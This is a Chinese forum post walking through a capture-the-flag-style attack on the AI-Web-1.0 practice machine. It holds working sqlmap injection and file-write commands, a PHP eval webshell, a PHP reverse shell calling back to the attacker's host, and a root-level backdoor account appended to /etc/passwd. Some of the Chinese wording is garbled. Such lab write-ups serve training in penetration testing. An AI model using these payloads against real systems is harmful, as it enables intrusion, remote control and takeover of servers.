AI-Web-1.0 打靶记载

打印 上一主题 下一主题

主题 984|帖子 984|积分 2952

 1.环境收集

攻击机kali  ip:192.168.48.131
靶机AI-WEB-1.0 ip:192.168.48.138

2.信息收集

2.1 C段扫描

使用 arp-scan -l进行扫描发现靶机ip为192.168.48.138


2.2 端口扫描

(1)使⽤nmap -sV -v -T4 对靶机扫描,发现只开启了80端口


(2)访问80端口网页,无可用信息2.3目次扫描

2.3目次扫描

(1)使⽤dirb 对⽹⻚进⼀步扫描,发现有robots.txt文件


(2)访问robots.txt文件,有两个目次

(3)依次访问这两个目次,都打不开


(4)使⽤dirb 对/m3diNf0进行扫描,发现有info.php文件,并进行访问,就可以发现文件路劲




(5)使⽤dirb 对/se3reTdir777进行扫描,发现有index.php文件,进行访问,发现是一个提接壤面



3. 毛病使用

3.1 SQL 注入

   (  1  )输入   1   发现可以乐成访问   
    (2)输入1’ ,发现存在SQL注入毛病
  

  (3)使用burpsuite进行抓包,发现注入点是uid=1%27&Operation=Submit
  

  
(4)使⽤sqlmap 进行测试

  
注⼊⻚⾯为http://192.168.48.138/se3reTdir777/index.php

  
注⼊点为uid=1&Operation=Submit

  
--dbs 列出数据库

  python3 sqlmap.py -u "http://192.168.48.138/se3reTdir777/index.php" -data "uid=1&Operation=Submit" -dbs  --batch
  发现了两个数据库:aiweb1、information_schema
  

  (5)查找aiweb1下的表
  
python3 sqlmap.py -u "http://192.168.48.138/se3reTdir777/index.php" -data "uid=1&Operation=Submit" -D aiweb1 --tables  --batch

  
找到两个表:user、systrmUser

  

  
(6)查找user表下的字段

  
python3 sqlmap.py -u "http://192.168.48.138/se3reTdir777/index.php" -data "uid=1&Operation=Submit" -D aiweb1 -T user --columns  --batch

  
得到字段:firstName、id、lastName

  

  (7)看user表下有什么有效信息
  
python3 sqlmap.py -u "http://192.168.48.138/se3reTdir777/index.php" -data "uid=1&Operation=Submit" -D aiweb1 -T user --columns -C id,firstName,lastName --dump --batch

  
3.2文件上传


  (1)使用os-shell
  
--os-shell执⾏条件:

  
⽹站必须是root权限

  
必须知道⽹站的绝对路径

  
secure_file_priv⽆限定

  

  
python3 sqlmap.py -u "http://192.168.48.138/se3reTdir777/index.php" -data "uid=1&Operation=Submit" --os-shell

  
这里选4 PHP

  

  这里选2,绝对输入路径
  

  
由上面的info.php可以知道它的路径: /home/www/html/web1x443290o2sdf92213/

  
通过拼接可以知道它的上传路径:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/

  

  
这里就可以看到进入到了os-shell

  

  
(2)在kali 创建一个1.php文件 输入一句话木马

  
<?php @eval($_REQUEST[cmd]);?>

  

  
(3)上传一句话木马到/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/

  
se3reTdir777/uploads/下

  
⽤ sqlmap ⼯具写⼊⼀句话⽊⻢

  
–file-write:去读取⽊⻢⽂件

  
–file-dest:后⾯加要存放⽂件的地址

  sqlmap -u "http://192.168.48.138/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write 1.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/1.php
  

  
(3)在os-shell使用ls检察

  

  4.权限升级

  4.1 使用蚁剑毗连

  
http://192.168.48.138/se3reTdir777/uploads/1.php

  密码:cmd
  

  4.2 nc反弹

  
(1)在kali开启监听

  

  
(2)在kali写一个2.php文件 ip为kaliip

  
<?php

  
$sock=fsockopen("192.168.48.131",4444);

  
exec("/bin/bash -i <&3 >&3 2>&3");

  
?>

  

  

  
(2)上传2.php

  
sqlmap -u "http://192.168.48.138/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write 2.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/2.php

  

  
(4)检察是否上传乐成

  

  
(5)在蚁剑打开终端,实行2.php

  

  
(6)kali乐成监听

  

  4.3 提权

   (1)检察当前用户
  

  
在 Linux 系统中我们要向⼿动⽣成⼀个密码可以采⽤opensll passwd来⽣成⼀个密码作为⽤户账号的密码。Linux系统中的密码存放在 /etc/shadow ⽂件中,而且是以加密的⽅式存放的,根据加密⽅式的不同,所产⽣的加密后的密码的位数也不同。

  openssl passwd的作⽤是⽤来计算密码hash的,⽬的是为了防⽌密码以明⽂的情势出现。
  
  
(2)使⽤ openssl 创建⼀个⽤户

  
openssl passwd 参数 ⽤户名 密码

  
-1:体现采⽤的是MD5加密算法。

  
-salt:指定salt值,不使⽤随机产⽣的salt。在使⽤加密算法进⾏加密时,纵然密码⼀样,salt不⼀样,所计算出来的hash值也不⼀样,除⾮密码⼀样,salt值也⼀样,计算出来的hash值才⼀ 样。salt为8字节的字符串。

  
openssl passwd -1 -salt awei 123456

  

  
(3)将⽤户aweiya写⼊/etc/passwd⽂件中

  
echo ‘awei1$awei$L306CKBynJHk5VdzMqldT/:0:0:root:/root:/bin/bash’>>/etc/passwd

  

  
(4)检察是否写入乐成

  
cat /etc/passwd

  

  
(5)切换用户

  
⽤脚本提拔为交互式shell,然后切换⽤户

  
python -c 'import pty;pty.spawn("/bin/bash")'

  
su awei

  

  

  
(6)切换目次,查找flag

  


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

民工心事

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表